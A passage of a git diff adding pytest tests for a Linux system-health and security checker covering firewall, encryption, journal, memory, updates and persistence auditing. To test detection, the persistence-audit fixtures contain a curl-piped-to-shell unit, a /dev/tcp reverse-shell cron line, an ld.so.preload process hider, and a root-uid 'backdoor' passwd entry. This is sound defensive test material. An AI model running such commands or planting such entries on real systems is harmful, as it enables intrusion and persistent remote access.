tmp_path, + passwd=PASSWD + "backdoor:x:0:0::/root:/bin/bash\n", + ) + with _no_commands(mod): + check = mod.check(_profile()) + fix = mod.fix(check, Mode.CLI) + assert fix.actions + assert fix.executed_mutations == [] diff --git a/tests/test_module_linux_disk_encryption_check.py b/tests/test_module_linux_disk_encryption_check.py new file mode 100644 index 0000000..d7c0813 --- /dev/null +++ b/tests/test_module_linux_disk_encryption_check.py @@ -0,0 +1,139 @@ +"""Tests for linux_disk_encryption_check. + +The failure mode to avoid is telling someone their disk is unencrypted because +the check could not read the disk layout. "Undetermined" and "not encrypted" +must stay distinct. +""" + +import sys +from pathlib import Path +from unittest.mock import patch + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from rescue.command import CommandResult +from rescue.models import Mode, Platform, Severity, SystemProfile +from rescue.registry import discover_modules + +PLAIN_MOUNTS = "/dev/vda1 / ext4 rw,relatime 0 0\nproc /proc proc rw 0 0\n" +LUKS_MOUNTS = "/dev/mapper/cryptroot / ext4 rw,relatime 0 0\n" + +LSBLK_PLAIN = 'NAME="vda" TYPE="disk" FSTYPE="" MOUNTPOINT=""\n' +LSBLK_LUKS = ( + 'NAME="vda1" TYPE="part" FSTYPE="crypto_LUKS" MOUNTPOINT=""\n' + 'NAME="cryptroot" TYPE="crypt" FSTYPE="ext4" MOUNTPOINT="/"\n' +) + + +def _get_module(): + modules = discover_modules(Path(__file__).parent.parent / "modules") + return next(m for m in modules if m.name == "linux_disk_encryption_check") + + +def _profile(platform=Platform.LINUX) -> SystemProfile: + return SystemProfile( + platform=platform, + os_name="Ubuntu 24.04", + os_version="6.8.0", + architecture="x86_64", + cpu_model="Test", + cpu_cores=4, + ram_bytes=8 * 1024**3, + ) + + +def _result(args, stdout="", returncode=0, error=None) -> CommandResult: + return CommandResult( + args=list(args), returncode=returncode, stdout=stdout, stderr="", + timed_out=False, error=error, duration_s=0.01, truncated=False, + ) + + +def _patched(mod, lsblk=None, zfs=None): + def fake(args, **kwargs): + if args[0] == "lsblk": + if lsblk is None: + return _result(args, error="No such file or directory") + return _result(args, lsblk) + if args[0] == "zfs" and zfs is not None: + return _result(args, zfs) + return _result(args, error="No such file or directory") + + return patch.object(sys.modules[type(mod).__module__], "run", side_effect=fake) + + +def _configure(mod, tmp_path, mounts): + path = tmp_path / "mounts" + path.write_text(mounts) + mod.mounts_path = str(path) + return mod + + +def _codes(result): + return [f.code for f in result.findings] + + +def test_non_linux_is_unsupported(): + assert _get_module().check(_profile(Platform.DARWIN)).supported is False + + +def test_unencrypted_root_is_reported(tmp_path): + mod = _configure(_get_module(), tmp_path, PLAIN_MOUNTS) + with _patched(mod, lsblk=LSBLK_PLAIN): + result = mod.check(_profile()) + finding = next(f for f in result.findings if f.code.endswith("root_not_encrypted")) + assert finding.severity is Severity.WARNING + assert finding.data["device"] == "/dev/vda1" + + +def test_luks_root_is_recognised_as_encrypted(tmp_path): + mod = _configure(_get_module(), tmp_path, LUKS_MOUNTS) + with _patched(mod, lsblk=LSBLK_LUKS): + result = mod.check(_profile()) + codes = _codes(result) + assert "security.linux_disk_encryption_check.encrypted" in codes + assert "security.linux_disk_encryption_check.root_not_encrypted" not in codes + + +def test_unreadable_layout_is_undetermined_not_unencrypted(tmp_path): + mod = _configure(_get_module(), tmp_path, PLAIN_MOUNTS) + with _patched(mod, lsblk=None): + with patch.object(Path, "is_dir", return_value=False): + result = mod.check(_profile()) + codes = _codes(result) + assert "security.linux_disk_encryption_check.encryption_undetermined" in codes + assert "security.linux_disk_encryption_check.root_not_encrypted" not in codes + + +def test_unreadable_mounts_is_an_error(tmp_path): + mod = _get_module() + mod.mounts_path = str(tmp_path / "absent") + with _patched(mod, lsblk=LSBLK_PLAIN): + result = mod.check(_profile()) + assert result.error is not None + + +def test_separate_unencrypted_home_is_reported(tmp_path): + mounts = LUKS_MOUNTS + "/dev/vdb1 /home ext4 rw 0 0\n" + mod = _configure(_get_module(), tmp_path, mounts) + with _patched(mod, lsblk=LSBLK_LUKS): + result = mod.check(_profile()) + assert "security.linux_disk_encryption_check.home_not_encrypted" in _codes(result) + + +def test_zfs_native_encryption_counts_as_encrypted(tmp_path): + mod = _configure(_get_module(), tmp_path, "rpool/ROOT / zfs rw 0 0\n") + with _patched(mod, lsblk=LSBLK_PLAIN, zfs="aes-256-gcm"): + result = mod.check(_profile()) + assert "security.linux_disk_encryption_check.root_not_encrypted" not in _codes(result) + + +def test_guidance_never_asks_for_a_passphrase(tmp_path): + """The tool must never solicit a recovery key or passphrase.""" + mod = _configure(_get_module(), tmp_path, PLAIN_MOUNTS) + with _patched(mod, lsblk=LSBLK_PLAIN): + check = mod.check(_profile()) + fix = mod.fix(check, Mode.CLI) + assert fix.executed_mutations == [] + text = " ".join(a.description for a in fix.actions) + assert "never ask you for it" in text diff --git a/tests/test_module_linux_firewall_check.py b/tests/test_module_linux_firewall_check.py new file mode 100644 index 0000000..8fe1f36 --- /dev/null +++ b/tests/test_module_linux_firewall_check.py @@ -0,0 +1,164 @@ +"""Tests for linux_firewall_check. + +The behaviour worth protecting is the distinction between "no firewall" and +"could not read the firewall". Conflating them produces a confident wrong +answer, which is worse than no answer on a security check. +""" + +import sys +from pathlib import Path +from unittest.mock import patch + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from rescue.command import CommandResult +from rescue.models import Mode, Platform, Severity, SystemProfile +from rescue.registry import discover_modules + + +def _get_module(): + modules = discover_modules(Path(__file__).parent.parent / "modules") + return next(m for m in modules if m.name == "linux_firewall_check") + + +def _profile(platform=Platform.LINUX) -> SystemProfile: + return SystemProfile( + platform=platform, + os_name="Ubuntu 24.04", + os_version="6.8.0", + architecture="x86_64", + cpu_model="Test", + cpu_cores=4, + ram_bytes=8 * 1024**3, + ) + + +def _result(args, stdout="", returncode=0, error=None) -> CommandResult: + return CommandResult( + args=list(args), + returncode=returncode, + stdout=stdout, + stderr="", + timed_out=False, + error=error, + duration_s=0.01, + truncated=False, + ) + + +def _patched(mod, responses): + """Patch the module's own `run`, dispatching on the first argument. + + Rescue modules are loaded by path under a synthetic ``rescue_modules.*`` + name that is not an importable package, so ``patch("rescue_modules.x.run")`` + cannot resolve it. Patching the loaded module object directly does. + """ + + def fake(args, **kwargs): + tool = args[0] + if tool not in responses: + return _result(args, error="No such file or directory") + return responses[tool](args) + + return patch.object(sys.modules[type(mod).__module__], "run", side_effect=fake) + + +def test_module_metadata(): + mod = _get_module() + assert mod.category == "security" + assert mod.platforms == [Platform.LINUX] + + +def test_non_linux_is_unsupported_not_healthy(): + mod = _get_module() + result = mod.check(_profile(Platform.DARWIN)) + assert result.supported is False + assert result.unsupported_reason + assert not result.has_issues + + +def test_no_firewall_installed_is_a_warning(): + mod = _get_module() + with _patched(mod, {}): + result = mod.check(_profile()) + codes = [f.code for f in result.findings] + assert "security.linux_firewall_check.no_firewall" in codes + + +def test_active_ufw_produces_no_findings(): + mod = _get_module() + responses = { + "ufw": lambda args: _result(args, "Status: active\nDefault: deny (incoming)"), + } + with _patched(mod, responses): + result = mod.check(_profile()) + assert not result.has_issues + + +def test_inactive_ufw_is_reported(): + mod = _get_module() + responses = {"ufw": lambda args: _result(args, "Status: inactive")} + with _patched(mod, responses): + result = mod.check(_profile()) + assert any(f.code == "security.linux_firewall_check.firewall_inactive" for f in result.findings) + + +def test_active_but_default_allow_is_reported(): + mod = _get_module() + responses = { + "ufw": lambda args: _result(args, "Status: active\nDefault: allow (incoming)"), + } + with _patched(mod, responses): + result = mod.check(_profile()) + assert any( + f.code == "security.linux_firewall_check.default_allow_inbound" for f in result.findings + ) + + +def test_unreadable_ruleset_is_undetermined_not_absent(): + """The core promise: unreadable never renders as 'you have no firewall'.""" + mod = _get_module() + responses = { + "ufw": lambda args: _result(args, "", returncode=1), + "nft": lambda args: _result(args, "", returncode=1), + } + with _patched(mod, responses): + result = mod.check(_profile()) + codes = [f.code for f in result.findings] + assert "security.linux_firewall_check.undetermined" in codes + assert "security.linux_firewall_check.no_firewall" not in codes + assert "security.linux_firewall_check.firewall_inactive" not in codes + undetermined = next(f for f in result.findings if f.code.endswith("undetermined")) + assert undetermined.severity is Severity.INFO + + +def test_iptables_with_accept_policy_and_no_rules_is_not_filtering(): + mod = _get_module() + responses = {"iptables": lambda args: _result(args, "-P INPUT ACCEPT\n")} + with _patched(mod, responses): + result = mod.check(_profile()) + assert any( + f.code == "security.linux_firewall_check.firewall_inactive" for f in result.findings + ) + + +def test_iptables_with_rules_counts_as_active(): + mod = _get_module() + responses = { + "iptables": lambda args: _result( + args, "-P INPUT DROP\n-A INPUT -p tcp --dport 22 -j ACCEPT\n" + ) + } + with _patched(mod, responses): + result = mod.check(_profile()) + assert not result.has_issues + + +def test_fix_only_ever_offers_guidance(): + mod = _get_module() + with _patched(mod, {}): + check = mod.check(_profile()) + fix = mod.fix(check, Mode.CLI) + assert fix.actions + assert fix.executed_mutations == [] + assert len(fix.guidance_actions) == len(fix.actions) diff --git a/tests/test_module_linux_journal_errors.py b/tests/test_module_linux_journal_errors.py new file mode 100644 index 0000000..61fbe7d --- /dev/null +++ b/tests/test_module_linux_journal_errors.py @@ -0,0 +1,156 @@ +"""Tests for linux_journal_errors. + +The classification is the product here: hardware signals must be CRITICAL, a +single application segfault must stay quiet, and an unreadable journal must +report "not checked" instead of a clean result. +""" + +import sys +from pathlib import Path +from unittest.mock import patch + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from rescue.command import CommandResult +from rescue.models import Mode, Platform, Severity, SystemProfile +from rescue.registry import discover_modules + + +def _get_module(): + modules = discover_modules(Path(__file__).parent.parent / "modules") + return next(m for m in modules if m.name == "linux_journal_errors") + + +def _profile(platform=Platform.LINUX) -> SystemProfile: + return SystemProfile( + platform=platform, + os_name="Debian 12", + os_version="6.1.0", + architecture="x86_64", + cpu_model="Test", + cpu_cores=4, + ram_bytes=8 * 1024**3, + ) + + +def _journal(mod, stdout="", returncode=0, error=None): + def fake(args, **kwargs): + return CommandResult( + args=list(args), returncode=returncode, stdout=stdout, stderr="", + timed_out=False, error=error, duration_s=0.01, truncated=False, + ) + + return patch.object(sys.modules[type(mod).__module__], "run", side_effect=fake) + + +def _codes(result): + return [f.code for f in result.findings] + + +def test_non_linux_is_unsupported(): + assert _get_module().check(_profile(Platform.DARWIN)).supported is False + + +def test_missing_journalctl_is_unsupported(): + mod = _get_module() + with _journal(mod, error="No such file or directory"): + result = mod.check(_profile()) + assert result.supported is False + + +def test_unreadable_journal_is_unsupported_not_healthy(): + """Non-root users cannot read the system journal on many distributions.""" + mod = _get_module() + with _journal(mod, stdout="", returncode=1): + result = mod.check(_profile()) + assert result.supported is False + assert "sudo" in result.unsupported_reason + + +def test_quiet_journal_produces_no_findings(): + mod = _get_module() + with _journal(mod, stdout="Jun 01 10:00:00 host systemd[1]: Started something.\n"): + result = mod.check(_profile()) + assert not result.has_issues + + +def test_storage_io_errors_are_critical(): + mod = _get_module() + lines = ( + "Jun 01 10:00:00 host kernel: blk_update_request: I/O error, dev sda, sector 12345\n" + "Jun 01 10:00:01 host kernel: blk_update_request: I/O error, dev sda, sector 12346\n" + ) + with _journal(mod, stdout=lines): + result = mod.check(_profile()) + finding = next(f for f in result.findings if f.code.endswith("storage_io_error")) + assert finding.severity is Severity.CRITICAL + assert finding.data["count"] == 2 + + +def test_memory_errors_are_critical(): + mod = _get_module() + with _journal(mod, stdout="Jun 01 10:00:00 host kernel: mce: [Hardware Error]: CPU 0\n"): + result = mod.check(_profile()) + finding = next(f for f in result.findings if f.code.endswith("memory_error")) + assert finding.severity is Severity.CRITICAL + + +def test_filesystem_corruption_is_critical(): + mod = _get_module() + line = "Jun 01 10:00:00 host kernel: EXT4-fs error (device sda1): htree_dirblock_to_tree\n" + with _journal(mod, stdout=line): + result = mod.check(_profile()) + assert "integrity.linux_journal_errors.filesystem_error" in _codes(result) + + +def test_oom_kills_are_reported_as_warnings(): + mod = _get_module() + line = "Jun 01 10:00:00 host kernel: Out of memory: Killed process 1234 (firefox)\n" + with _journal(mod, stdout=line): + result = mod.check(_profile()) + finding = next(f for f in result.findings if f.code.endswith("oom_kill")) + assert finding.severity is Severity.WARNING + + +def test_a_single_segfault_is_not_reported(): + """One crash is an application bug, not a machine problem.""" + mod = _get_module() + line = "Jun 01 10:00:00 host kernel: gedit[999]: segfault at 0 ip 00007f\n" + with _journal(mod, stdout=line): + result = mod.check(_profile()) + assert "integrity.linux_journal_errors.segfault" not in _codes(result) + + +def test_repeated_segfaults_are_reported(): + mod = _get_module() + lines = "".join( + f"Jun 01 10:00:0{i} host kernel: gedit[99{i}]: segfault at 0 ip 00007f\n" + for i in range(4) + ) + with _journal(mod, stdout=lines): + result = mod.check(_profile()) + assert "integrity.linux_journal_errors.segfault" in _codes(result) + + +def test_repeated_identical_errors_are_grouped_in_the_sample(): + mod = _get_module() + lines = "".join( + f"Jun 01 10:00:00 host kernel: blk_update_request: I/O error, dev sda, sector {i}\n" + for i in range(10) + ) + with _journal(mod, stdout=lines): + result = mod.check(_profile()) + finding = next(f for f in result.findings if f.code.endswith("storage_io_error")) + assert finding.data["count"] == 10 + # Sector numbers differ, so grouping only works if numbers are normalised. + assert len(finding.data["samples"]) == 1 + + +def test_fix_tells_you_to_back_up_before_diagnosing_a_failing_drive(): + mod = _get_module() + line = "Jun 01 10:00:00 host kernel: blk_update_request: I/O error, dev sda, sector 1\n" + with _journal(mod, stdout=line): + check = mod.check(_profile()) + fix = mod.fix(check, Mode.CLI) + assert fix.executed_mutations == [] + assert "Back up" in fix.actions[0].title diff --git a/tests/test_module_linux_memory_pressure.py b/tests/test_module_linux_memory_pressure.py new file mode 100644 index 0000000..f0b2104 --- /dev/null +++ b/tests/test_module_linux_memory_pressure.py @@ -0,0 +1,167 @@ +"""Tests for linux_memory_pressure. + +The thing being protected: low *free* memory is normal on Linux and must never +produce a finding on its own. Only MemAvailable, swap ratios, and PSI do. +""" + +import sys +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from rescue.models import Mode, Platform, ProcessInfo, Severity, SystemProfile +from rescue.registry import discover_modules + +GB = 1024**2 # /proc/meminfo is in kB, so 1 GB == 1024**2 kB + + +def _meminfo(total_gb=16, free_gb=0.2, available_gb=12, swap_total_gb=8, swap_free_gb=8): + return ( + f"MemTotal: {int(total_gb * GB)} kB\n" + f"MemFree: {int(free_gb * GB)} kB\n" + f"MemAvailable: {int(available_gb * GB)} kB\n" + f"SwapTotal: {int(swap_total_gb * GB)} kB\n" + f"SwapFree: {int(swap_free_gb * GB)} kB\n" + ) + + +def _get_module(): + modules = discover_modules(Path(__file__).parent.parent / "modules") + return next(m for m in modules if m.name == "linux_memory_pressure") + + +def _profile(platform=Platform.LINUX, processes=None) -> SystemProfile: + return SystemProfile( + platform=platform, + os_name="Ubuntu 24.04", + os_version="6.8.0", + architecture="x86_64", + cpu_model="Test", + cpu_cores=4, + ram_bytes=16 * 1024**3, + processes=processes or [], + ) + + +def _configure(mod, tmp_path, meminfo=None, psi=None): + meminfo_path = tmp_path / "meminfo" + meminfo_path.write_text(meminfo if meminfo is not None else _meminfo()) + mod.meminfo_path = str(meminfo_path) + if psi is None: + mod.psi_path = str(tmp_path / "absent-psi") + else: + psi_path = tmp_path / "psi" + psi_path.write_text(psi) + mod.psi_path = str(psi_path) + return mod + + +def _codes(result): + return [f.code for f in result.findings] + + +def test_non_linux_is_unsupported(): + assert _get_module().check(_profile(Platform.WIN32)).supported is False + + +def test_low_free_memory_alone_is_not_a_finding(tmp_path): + """0.2 GB free of 16 GB is a healthy Linux system, not a problem.""" + mod = _configure(_get_module(), tmp_path, meminfo=_meminfo(free_gb=0.2, available_gb=12)) + assert not mod.check(_profile()).has_issues + + +def test_low_available_memory_is_a_finding(tmp_path): + mod = _configure(_get_module(), tmp_path, meminfo=_meminfo(available_gb=1)) + result = mod.check(_profile()) + finding = next(f for f in result.findings if f.code.endswith("low_available_memory")) + assert finding.severity is Severity.WARNING + + +def test_very_low_available_memory_is_critical(tmp_path): + mod = _configure(_get_module(), tmp_path, meminfo=_meminfo(available_gb=0.5)) + finding = next( + f for f in mod.check(_profile()).findings if f.code.endswith("low_available_memory") + ) + assert finding.severity is Severity.CRITICAL + + +def test_psi_stall_is_reported(tmp_path): + mod = _configure( + _get_module(), tmp_path, + psi="some avg10=30.00 avg60=28.50 avg300=10.00 total=123\n" + "full avg10=5.00 avg60=4.00 avg300=1.00 total=45\n", + ) + finding = next(f for f in mod.check(_profile()).findings if f.code.endswith("memory_stall")) + assert finding.severity is Severity.CRITICAL + assert finding.data["psi_some_avg60"] == 28.5 + + +def test_low_psi_is_not_reported(tmp_path): + mod = _configure( + _get_module(), tmp_path, + psi="some avg10=0.10 avg60=0.05 avg300=0.00 total=1\n", + ) + assert "performance.linux_memory_pressure.memory_stall" not in _codes(mod.check(_profile())) + + +def test_missing_psi_file_is_tolerated(tmp_path): + """PSI needs kernel 4.20+; its absence must not break the check.""" + mod = _configure(_get_module(), tmp_path, psi=None) + assert mod.check(_profile()).error is None + + +def test_heavy_swap_use_is_reported(tmp_path): + mod = _configure( + _get_module(), tmp_path, + meminfo=_meminfo(swap_total_gb=8, swap_free_gb=1), + ) + finding = next( + f for f in mod.check(_profile()).findings if f.code.endswith("heavy_swap_use") + ) + assert finding.severity is Severity.CRITICAL + + +def test_light_swap_use_is_not_reported(tmp_path): + mod = _configure( + _get_module(), tmp_path, + meminfo=_meminfo(swap_total_gb=8, swap_free_gb=7), + ) + assert "performance.linux_memory_pressure.heavy_swap_use" not in _codes(mod.check(_profile())) + + +def test_no_swap_with_plenty_of_memory_is_not_a_finding(tmp_path): + """Running without swap is a legitimate configuration on its own.""" + mod = _configure( + _get_module(), tmp_path, + meminfo=_meminfo(available_gb=12, swap_total_gb=0, swap_free_gb=0), + ) + assert "performance.linux_memory_pressure.no_swap_configured" not in _codes(mod.check(_profile())) + + +def test_no_swap_with_tight_memory_is_a_finding(tmp_path): + """With no swap and no headroom, the kernel's only option is to kill things.""" + mod = _configure( + _get_module(), tmp_path, + meminfo=_meminfo(available_gb=1, swap_total_gb=0, swap_free_gb=0), + ) + assert "performance.linux_memory_pressure.no_swap_configured" in _codes(mod.check(_profile())) + + +def test_memory_hogs_are_named(tmp_path): + mod = _configure(_get_module(), tmp_path) + processes = [ + ProcessInfo(pid=1, name="firefox", cpu_percent=1.0, memory_bytes=4 * 1024**3, command="firefox"), + ProcessInfo(pid=2, name="tiny", cpu_percent=0.1, memory_bytes=10 * 1024**2, command="tiny"), + ] + result = mod.check(_profile(processes=processes)) + hogs = [f for f in result.findings if f.code.endswith("memory_hog")] + assert len(hogs) == 1 + assert hogs[0].data["name"] == "firefox" + assert hogs[0].severity is Severity.INFO + + +def test_fix_does_not_kill_processes(tmp_path): + mod = _configure(_get_module(), tmp_path, meminfo=_meminfo(available_gb=0.5)) + fix = mod.fix(mod.check(_profile()), Mode.CLI) + assert fix.executed_mutations == [] + assert any("does not kill processes" in a.description for a in fix.actions) diff --git a/tests/test_module_linux_package_updates.py b/tests/test_module_linux_package_updates.py new file mode 100644 index 0000000..654b64d --- /dev/null +++ b/tests/test_module_linux_package_updates.py @@ -0,0 +1,148 @@ +"""Tests for linux_package_updates. + +The security/ordinary split is what makes this check actionable, and the +end-of-life prompt is what stops "0 updates" from reading as good news on an +unsupported release. +""" + +import sys +from pathlib import Path +from unittest.mock import patch + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from rescue.command import CommandResult +from rescue.models import Mode, Platform, Severity, SystemProfile +from rescue.registry import discover_modules + +APT_UPGRADABLE = """Listing... Done +libssl3/noble-security 3.0.13-0ubuntu3.4 amd64 [upgradable from: 3.0.13-0ubuntu3.3] +vim/noble-updates 2:9.1.0016-1ubuntu7.1 amd64 [upgradable from: 2:9.1.0016-1ubuntu7] +""" + + +def _get_module(): + modules = discover_modules(Path(__file__).parent.parent / "modules") + return next(m for m in modules if m.name == "linux_package_updates") + + +def _profile(platform=Platform.LINUX) -> SystemProfile: + return SystemProfile( + platform=platform, + os_name="Ubuntu 24.04", + os_version="6.8.0", + architecture="x86_64", + cpu_model="Test", + cpu_cores=4, + ram_bytes=8 * 1024**3, + ) + + +def _result(args, stdout="", returncode=0, error=None) -> CommandResult: + return CommandResult( + args=list(args), returncode=returncode, stdout=stdout, stderr="", + timed_out=False, error=error, duration_s=0.01, truncated=False, + ) + + +def _patched(mod, responses): + def fake(args, **kwargs): + key = args[0] + if key not in responses: + return _result(args, error="No such file or directory") + return responses[key](args) + + return patch.object(sys.modules[type(mod).__module__], "run", side_effect=fake) + + +def _configure(mod, tmp_path, os_release="ID=ubuntu\nVERSION_ID=\"24.04\"\nPRETTY_NAME=\"Ubuntu 24.04 LTS\"\n"): + path = tmp_path / "os-release" + path.write_text(os_release) + mod.os_release_path = str(path) + mod.reboot_required_path = str(tmp_path / "reboot-required") + return mod + + +def _codes(result): + return [f.code for f in result.findings] + + +def test_non_linux_is_unsupported(): + assert _get_module().check(_profile(Platform.WIN32)).supported is False + + +def test_no_package_manager_is_unsupported_not_healthy(tmp_path): + """Nothing to ask is 'cannot answer', not 'you are up to date'.""" + mod = _configure(_get_module(), tmp_path) + with _patched(mod, {}): + result = mod.check(_profile()) + assert result.supported is False + assert not result.has_issues + + +def test_apt_security_updates_are_critical_and_separated(tmp_path): + mod = _configure(_get_module(), tmp_path) + with _patched(mod, {"apt": lambda args: _result(args, APT_UPGRADABLE)}): + result = mod.check(_profile()) + security = next(f for f in result.findings if f.code.endswith("security_updates_pending")) + assert security.severity is Severity.CRITICAL + assert security.data["packages"] == ["libssl3"] + + # Compared exactly: "security_updates_pending" also ends with + # "updates_pending", so a suffix match here would test nothing. + ordinary = next( + f for f in result.findings + if f.code == "integrity.linux_package_updates.updates_pending" + ) + assert ordinary.data["packages"] == ["vim"] + assert ordinary.severity is Severity.INFO + + +def test_reboot_required_marker_is_reported(tmp_path): + mod = _configure(_get_module(), tmp_path) + Path(mod.reboot_required_path).write_text("") + with _patched(mod, {"apt": lambda args: _result(args, "Listing... Done\n")}): + result = mod.check(_profile()) + assert "integrity.linux_package_updates.reboot_required" in _codes(result) + + +def test_end_of_life_prompt_appears_even_with_no_pending_updates(tmp_path): + mod = _configure(_get_module(), tmp_path) + with _patched(mod, {"apt": lambda args: _result(args, "Listing... Done\n")}): + result = mod.check(_profile()) + eol = next(f for f in result.findings if f.code.endswith("release_end_of_life")) + assert "ubuntu.com" in eol.data["support_url"] + + +def test_rolling_releases_get_no_end_of_life_prompt(tmp_path): + """Arch has no release cycle to check; asking would be noise.""" + mod = _configure(_get_module(), tmp_path, os_release="ID=arch\nPRETTY_NAME=\"Arch Linux\"\n") + with _patched(mod, {"pacman": lambda args: _result(args, "")}): + result = mod.check(_profile()) + assert "integrity.linux_package_updates.release_end_of_life" not in _codes(result) + + +def test_dnf_exit_code_100_means_updates_available_not_failure(tmp_path): + mod = _configure(_get_module(), tmp_path, os_release="ID=fedora\nPRETTY_NAME=\"Fedora 40\"\n") + listing = "kernel.x86_64 6.9.4-200.fc40 updates\n" + with _patched(mod, {"dnf": lambda args: _result(args, listing, returncode=100)}): + result = mod.check(_profile()) + pending = [f for f in result.findings if "updates_pending" in (f.code or "")] + assert pending and pending[0].data["packages"] == ["kernel.x86_64"] + + +def test_pacman_reports_updates_without_inventing_a_security_channel(tmp_path): + mod = _configure(_get_module(), tmp_path, os_release="ID=arch\n") + with _patched(mod, {"pacman": lambda args: _result(args, "linux 6.9.1-arch1 -> 6.9.2-arch1\n")}): + result = mod.check(_profile()) + assert "integrity.linux_package_updates.security_updates_pending" not in _codes(result) + assert "integrity.linux_package_updates.updates_pending" in _codes(result) + + +def test_fix_names_the_right_command_for_the_detected_manager(tmp_path): + mod = _configure(_get_module(), tmp_path) + with _patched(mod, {"apt": lambda args: _result(args, APT_UPGRADABLE)}): + check = mod.check(_profile()) + fix = mod.fix(check, Mode.CLI) + assert fix.executed_mutations == [] + assert any("apt upgrade" in a.description for a in fix.actions) diff --git a/tests/test_module_linux_persistence_audit.py b/tests/test_module_linux_persistence_audit.py new file mode 100644 index 0000000..3d804d1 --- /dev/null +++ b/tests/test_module_linux_persistence_audit.py @@ -0,0 +1,192 @@ +"""Tests for linux_persistence_audit. + +The module's value depends on not crying wolf: an ordinary systemd unit or +.bashrc must produce an inventory entry and nothing more, while fetch-and-execute +patterns, /tmp execution, and world-writable startup files must always escalate. +""" + +import os +import sys +from pathlib import Path +from unittest.mock import patch + +import pytest + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +# These tests assert on POSIX file modes — the world-writable check is the whole +# point of one of them. Windows reports 0o666 for ordinary files, so the check +# fires on every fixture and "an ordinary unit produces only an inventory entry" +# becomes untestable. The module is Linux-only and can never run there anyway. +pytestmark = pytest.mark.skipif( + os.name != "posix", + reason="linux_persistence_audit is Linux-only and asserts on POSIX file modes", +) + +from rescue.command import CommandResult +from rescue.models import Mode, Platform, Severity, SystemProfile +from rescue.registry import discover_modules + + +def _get_module(): + modules = discover_modules(Path(__file__).parent.parent / "modules") + return next(m for m in modules if m.name == "linux_persistence_audit") + + +def _profile(platform=Platform.LINUX) -> SystemProfile: + return SystemProfile( + platform=platform, + os_name="Ubuntu 24.04", + os_version="6.8.0", + architecture="x86_64", + cpu_model="Test", + cpu_cores=4, + ram_bytes=8 * 1024**3, + ) + + +def _no_crontab(mod): + def fake(args, **kwargs): + return CommandResult( + args=list(args), returncode=1, stdout="", stderr="", + timed_out=False, error=None, duration_s=0.0, truncated=False, + ) + + return patch.object(sys.modules[type(mod).__module__], "run", side_effect=fake) + + +def _configure(mod, tmp_path): + """Point every traversal root at a fixture tree, per the repo convention.""" + units = tmp_path / "units" + autostart = tmp_path / "autostart" + cron = tmp_path / "cron" + for directory in (units, autostart, cron): + directory.mkdir(parents=True, exist_ok=True) + mod.system_unit_dirs = [str(units)] + mod.user_unit_dirs = [] + mod.autostart_dirs = [str(autostart)] + mod.cron_dirs = [str(cron)] + mod.shell_rc_files = [] + mod.ld_preload_path = str(tmp_path / "absent-ld-preload") + return units, autostart, cron + + +def _codes(result): + return [f.code for f in result.findings] + + +def test_non_linux_is_unsupported(): + assert _get_module().check(_profile(Platform.DARWIN)).supported is False + + +def test_ordinary_unit_is_inventoried_and_not_flagged(tmp_path): + mod = _get_module() + units, _, _ = _configure(mod, tmp_path) + (units / "syncthing.service").write_text( + "[Unit]\nDescription=Syncthing\n[Service]\nExecStart=/usr/bin/syncthing\n" + ) + with _no_crontab(mod): + result = mod.check(_profile()) + codes = _codes(result) + assert codes == ["security.linux_persistence_audit.inventory"] + inventory = result.findings[0] + assert inventory.severity is Severity.INFO + assert inventory.data["count"] == 1 + + +def test_curl_piped_to_shell_is_critical(tmp_path): + mod = _get_module() + units, _, _ = _configure(mod, tmp_path) + (units / "evil.service").write_text( + "[Service]\nExecStart=/bin/sh -c 'curl -s http://example.invalid/x | sh'\n" + ) + with _no_crontab(mod): + result = mod.check(_profile()) + finding = next(f for f in result.findings if f.code.endswith("suspicious_content")) + assert finding.severity is Severity.CRITICAL + + +def test_reverse_shell_pattern_is_detected(tmp_path): + mod = _get_module() + _, _, cron = _configure(mod, tmp_path) + (cron / "backdoor").write_text("* * * * * root bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n") + with _no_crontab(mod): + result = mod.check(_profile()) + assert "security.linux_persistence_audit.suspicious_content" in _codes(result) + + +def test_execution_from_tmp_is_flagged(tmp_path): + mod = _get_module() + _, autostart, _ = _configure(mod, tmp_path) + (autostart / "updater.desktop").write_text( + "[Desktop Entry]\nType=Application\nExec=/tmp/.hidden/updater\n" + ) + with _no_crontab(mod): + result = mod.check(_profile()) + finding = next(f for f in result.findings if f.code.endswith("volatile_path_execution")) + assert finding.severity is Severity.WARNING + + +def test_world_writable_startup_file_is_flagged(tmp_path): + mod = _get_module() + units, _, _ = _configure(mod, tmp_path) + unit = units / "loose.service" + unit.write_text("[Service]\nExecStart=/usr/bin/true\n") + unit.chmod(0o666) + with _no_crontab(mod): + result = mod.check(_profile()) + assert "security.linux_persistence_audit.world_writable_unit" in _codes(result) + + +def test_ld_preload_content_is_critical(tmp_path): + mod = _get_module() + _configure(mod, tmp_path) + preload = tmp_path / "ld.so.preload" + preload.write_text("/usr/lib/libprocesshider.so\n") + mod.ld_preload_path = str(preload) + with _no_crontab(mod): + result = mod.check(_profile()) + finding = next(f for f in result.findings if f.code.endswith("ld_preload_set")) + assert finding.severity is Severity.CRITICAL + assert "libprocesshider" in finding.data["content"] + + +def test_empty_ld_preload_is_not_reported(tmp_path): + mod = _get_module() + _configure(mod, tmp_path) + preload = tmp_path / "ld.so.preload" + preload.write_text("\n") + mod.ld_preload_path = str(preload) + with _no_crontab(mod): + result = mod.check(_profile()) + assert "security.linux_persistence_audit.ld_preload_set" not in _codes(result) + + +def test_user_crontab_is_included(tmp_path): + mod = _get_module() + _configure(mod, tmp_path) + + def fake(args, **kwargs): + return CommandResult( + args=list(args), returncode=0, + stdout="# comment\n0 * * * * /usr/local/bin/sync.sh\n", + stderr="", timed_out=False, error=None, duration_s=0.0, truncated=False, + ) + + with patch.object(sys.modules[type(mod).__module__], "run", side_effect=fake): + result = mod.check(_profile()) + inventory = next(f for f in result.findings if f.code.endswith("inventory")) + assert any(e["kind"] == "user crontab" for e in inventory.data["entries"]) + + +def test_fix_never_deletes_and_prefers_disabling(tmp_path): + mod = _get_module() + units, _, _ = _configure(mod, tmp_path) + (units / "evil.service").write_text("[Service]\nExecStart=/bin/sh -c 'curl x | sh'\n") + with _no_crontab(mod): + check = mod.check(_profile()) + fix = mod.fix(check, Mode.CLI) + assert fix.executed_mutations == [] + text = " ".join(a.description for a in 